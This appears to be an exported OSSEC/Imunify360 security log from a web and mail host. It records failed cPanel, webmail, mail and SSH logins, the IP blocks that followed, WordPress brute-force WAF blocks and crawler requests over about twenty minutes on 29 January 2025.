[2025-01-29 22:26:04 +0100] info [webmaild] 95.5.70.33 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.64.249.179
description:
2025-01-29 22:26:35 dovecot_login authenticator failed for ([127.0.0.1]) [178.64.249.179]:46303: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.65.34.147
description:
2025-01-29 22:26:42 dovecot_login authenticator failed for ([127.0.0.1]) [178.65.34.147]:56290: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.163.70
description:
2025-01-29 22:27:28 dovecot_plain authenticator failed for (187-8-163-70.customer.tdatabrasil.net.br) [187.8.163.70]:36807: 535 Incorrect authentication data (set_id=dzidonu)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.145.6.41
description:
[2025-01-29 22:27:45 +0100] info [webmaild] 177.145.6.41 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.43.146
description:
2025-01-29 22:27:14 dovecot_plain authenticator failed for ([186.238.43.146]) [186.238.43.146]:59505: 535 Incorrect authentication data (set_id=dzidonu@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.116.156.198
description:
Jan 29 22:27:22 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.116.156.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.43.146
description:
Jan 29 22:27:12 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.43.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.163.70
description:
Jan 29 22:27:26 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.163.70 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 29 22:27:51 ait sshd[532120]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101  user=gvu


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
description:
Jan 29 22:26:59 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.185.23.18
description:
[2025-01-29 22:28:38 +0100] info [webmaild] 177.185.23.18 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.232.139.147
description:
[2025-01-29 22:29:04 +0100] info [webmaild] 186.232.139.147 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.40.129
description:
47.128.40.129 - - [29/Jan/2025:22:29:20 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15719576 HTTP/2.0" 302 0 udesk.ait-ext.com "https://udesk.ait-ext.com/_profiler/9e1b37?panel=twig" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.40.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 165.154.247.53
description:
[2025-01-29 22:29:58 +0100] info [cpaneld] 165.154.247.53 - lemassne "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.44.217.237
description:
Jan 29 22:30:24 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.44.217.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.44.217.237
description:
2025-01-29 22:30:26 dovecot_login authenticator failed for ([127.0.0.1]) [121.44.217.237]:59601: 535 Incorrect authentication data (set_id=office@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.155.166
description:
2025-01-29 22:30:39 dovecot_login authenticator failed for ([127.0.0.1]) [102.207.155.166]:53059: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 92.80.68.143
description:
[2025-01-29 22:30:01 +0100] info [webmaild] 92.80.68.143 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.207.155.166
description:
Jan 29 22:30:37 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.207.155.166 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.49.102.239
description:
[2025-01-29 22:30:40 +0100] info [webmaild] 189.49.102.239 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 22:30:51 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.56.151.234
description:
Jan 29 22:30:51 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.56.151.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.56.151.234
description:
2025-01-29 22:30:53 dovecot_plain authenticator failed for ([58.56.151.234]) [58.56.151.234]:55335: 535 Incorrect authentication data (set_id=ads20a00163y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.76.191.29
description:
Jan 29 22:30:39 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.76.191.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.40.127
description:
[2025-01-29 22:30:40 +0100] info [webmaild] 104.207.40.127 - ads19a00020y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user ads19a00020y (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
description:
2025-01-29 22:30:41 dovecot_plain authenticator failed for 029.191.76.219.static.netvigator.com [219.76.191.29]:53133: 535 Incorrect authentication data (set_id=ads20a00163y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.115.254.158
description:
Jan 29 22:31:05 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.115.254.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.254.158
description:
2025-01-29 22:31:07 dovecot_plain authenticator failed for ([103.115.254.158]) [103.115.254.158]:34058: 535 Incorrect authentication data (set_id=ads14b00350y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.180.113.155
description:
Jan 29 22:31:14 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.180.113.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.180.113.155
description:
2025-01-29 22:31:16 dovecot_plain authenticator failed for syn-072-180-113-155.res.spectrum.com [72.180.113.155]:36308: 535 Incorrect authentication data (set_id=ads14b00350y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.129.178
description:
Jan 29 22:31:40 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.129.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.185.199.236
description:
[2025-01-29 22:31:43 +0100] info [webmaild] 138.185.199.236 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.129.178
description:
2025-01-29 22:31:42 dovecot_plain authenticator failed for ([197.250.7.67]) [41.220.129.178]:37304: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.27.128.211
description:
Jan 29 22:31:58 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.27.128.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.229.233.219
description:
Jan 29 22:31:54 ait sshd[533546]: pam_imunify(sshd:auth): [IM360_RBL] The IP 156.229.233.219 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 156.229.233.219
description:
Jan 29 22:31:54 ait sshd[533546]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=156.229.233.219


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.103.171.203
description:
[2025-01-29 22:31:54 +0100] info [webmaild] 200.103.171.203 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 156.229.233.219
description:
Jan 29 22:31:56 ait sshd[533546]: Failed password for invalid user odin from 156.229.233.219 port 22568 ssh2


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.27.128.211
description:
2025-01-29 22:32:00 dovecot_plain authenticator failed for ([112.27.128.211]) [112.27.128.211]:55408: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.49.173.196
description:
[2025-01-29 22:33:52 +0100] info [webmaild] 189.49.173.196 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.124.14.145
description:
[2025-01-29 22:32:55 +0100] info [webmaild] 181.124.14.145 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.36.117
description:
47.128.36.117 - - [29/Jan/2025:22:32:59 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24380800 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=106%2C125%2C61&filter_course-language=79%2C121%2C95%2C99&filtering=1&instructor=1&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.36.117


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 22:33:27 ait sshd[534051]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 22:33:27 ait sshd[534051]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.29.129
description:
47.128.29.129 - - [29/Jan/2025:22:34:17 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19299974 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=61&filter_course-language=198%2C121%2C99%2C118&filtering=1&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.29.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.158.122.61
description:
[2025-01-29 22:34:36 +0100] info [webmaild] 201.158.122.61 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:22-35.15.206.171.64


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.229.13.101
description:
[2025-01-29 22:35:14 +0100] info [webmaild] 196.229.13.101 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.131.133.85
description:
[2025-01-29 22:35:43 +0100] info [webmaild] 179.131.133.85 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.72.44
description:
[2025-01-29 22:35:49 +0100] info [webmaild] 84.54.72.44 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.29.58.247
description:
[2025-01-29 22:37:28 +0100] info [webmaild] 176.29.58.247 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.244.29.141
description:
[2025-01-29 22:37:11 +0100] info [webmaild] 170.244.29.141 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:37:32 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.207.112.45
description:
Jan 29 22:38:51 ait sshd[535849]: pam_imunify(sshd:auth): [IM360_RBL] The IP 114.207.112.45 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 114.207.112.45
description:
Jan 29 22:38:51 ait sshd[535849]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.207.112.45


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.164.156.141
description:
2025-01-29 22:39:31 dovecot_login authenticator failed for ([127.0.0.1]) [79.164.156.141]:40682: 535 Incorrect authentication data (set_id=ads21a00061y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.145.163.164
description:
Jan 29 22:39:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.145.163.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.195.160
description:
2025-01-29 22:39:54 dovecot_plain authenticator failed for (mobile-166-195-195-160.mycingular.net) [166.195.195.160]:45408: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.164.156.141
description:
Jan 29 22:39:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.164.156.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.153.208.38
description:
Jan 29 22:39:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.153.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.153.208.38
description:
2025-01-29 22:39:25 dovecot_plain authenticator failed for ([61.153.208.38]) [61.153.208.38]:21926: 535 Incorrect authentication data (set_id=mawunyo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.163.164
description:
2025-01-29 22:39:42 dovecot_plain authenticator failed for ([61.145.163.164]) [61.145.163.164]:38010: 535 Incorrect authentication data (set_id=mawunyo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.195.160
description:
Jan 29 22:39:52 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.195.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.48.60.35
description:
Jan 29 22:39:03 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.48.60.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.190.175.100
description:
[2025-01-29 22:39:04 +0100] info [webmaild] 201.190.175.100 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.60.35
description:
2025-01-29 22:39:05 dovecot_plain authenticator failed for ([211.48.60.35]) [211.48.60.35]:40368: 535 Incorrect authentication data (set_id=mawunyo@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.191.71.148
description:
Jan 29 22:39:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.191.71.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.17.246
description:
2025-01-29 22:40:00 dovecot_login authenticator failed for ([127.0.0.1]) [117.211.17.246]:42090: 535 Incorrect authentication data


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.234.217.45
description:
[2025-01-29 22:40:04 +0100] info [webmaild] 177.234.217.45 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 192.162.214.177
description:
[2025-01-29 22:40:27 +0100] info [webmaild] 192.162.214.177 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.67.39.102
description:
2025-01-29 22:40:51 dovecot_login authenticator failed for ([127.0.0.1]) [178.67.39.102]:53841: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.191.71.148
description:
2025-01-29 22:40:01 dovecot_login authenticator failed for ([127.0.0.1]) [113.191.71.148]:44357: 535 Incorrect authentication data (set_id=ads21a00061y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.8.50.150
description:
Jan 29 22:40:16 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.8.50.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.8.50.150
description:
2025-01-29 22:40:18 dovecot_plain authenticator failed for ([60.8.120.74]) [60.8.50.150]:33942: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.196.7.241
description:
2025-01-29 22:40:44 dovecot_login authenticator failed for ([127.0.0.1]) [117.196.7.241]:33295: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.67.39.102
description:
Jan 29 22:40:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.67.39.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.70.46.160
description:
Jan 29 22:40:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.70.46.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.70.46.160
description:
2025-01-29 22:40:57 dovecot_login authenticator failed for ([127.0.0.1]) [178.70.46.160]:39262: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.162.50.38
description:
[2025-01-29 22:41:29 +0100] info [webmaild] 103.162.50.38 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.64.65
description:
[2025-01-29 22:42:16 +0100] info [webmaild] 157.100.64.65 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.159.152.6
description:
Jan 29 22:42:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.159.152.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 22:42:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.104.96.156
description:
[2025-01-29 22:42:09 +0100] info [webmaild] 187.104.96.156 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.159.152.6
description:
2025-01-29 22:42:38 dovecot_plain authenticator failed for (imons) [93.159.152.6]:39022: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.70.142
description:
Jan 29 22:42:52 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.70.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.70.142
description:
2025-01-29 22:42:54 dovecot_plain authenticator failed for ([218.149.70.142]) [218.149.70.142]:60402: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.116.82
description:
47.128.116.82 - - [29/Jan/2025:22:43:25 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21077768 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=95%2C183%2C121%2C99%2C118&filtering=1&instructor=1&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.116.82


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.214.170
description:
2025-01-29 22:43:28 dovecot_plain authenticator failed for (trartigely) [77.51.214.170]:50643: 535 Incorrect authentication data (set_id=21m1150009@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 77.77.217.25
description:
[2025-01-29 22:42:56 +0100] info [webmaild] 77.77.217.25 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.89.207.251
description:
2025-01-29 22:42:58 dovecot_plain authenticator failed for ip251.ip-51-89-207.eu [51.89.207.251]:62222: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
description:
Jan 29 22:43:17 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
description:
2025-01-29 22:43:19 dovecot_plain authenticator failed for vps-b674cd8d.vps.ovh.net [51.68.226.171]:40850: 535 Incorrect authentication data (set_id=eejour13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.51.214.170
description:
Jan 29 22:43:26 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.51.214.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 22:44:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.140.39.128
description:
Jan 29 22:44:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.140.39.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.247.196.106
description:
2025-01-29 22:44:33 dovecot_plain authenticator failed for 186-247-196-106.user.veloxzone.com.br [186.247.196.106]:53379: 535 Incorrect authentication data (set_id=eng19b00160y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 195.216.198.219
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:22-44.195.216.198.219


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.235.97.158
description:
Jan 29 22:44:04 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.235.97.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.222.191.62
description:
Jan 29 22:44:26 ait sshd[538007]: pam_imunify(sshd:auth): [IM360_RBL] The IP 83.222.191.62 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 83.222.191.62
description:
Jan 29 22:44:26 ait sshd[538007]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=83.222.191.62


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.247.196.106
description:
Jan 29 22:44:31 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.247.196.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.235.97.158
description:
2025-01-29 22:44:06 dovecot_plain authenticator failed for (uneveno) [147.235.97.158]:25793: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.36.175.111
description:
[2025-01-29 22:44:12 +0100] info [webmaild] 191.36.175.111 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.140.39.128
description:
2025-01-29 22:44:42 dovecot_plain authenticator failed for ([158.140.39.128]) [158.140.39.128]:48365: 535 Incorrect authentication data (set_id=eng19b00160y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:44:46 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.250.7.154
description:
[2025-01-29 22:45:06 +0100] info [webmaild] 41.250.7.154 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.75.172.163
description:
Jan 29 22:45:11 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.75.172.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.159.71.249
description:
Jan 29 22:45:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.159.71.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.0.117.219
description:
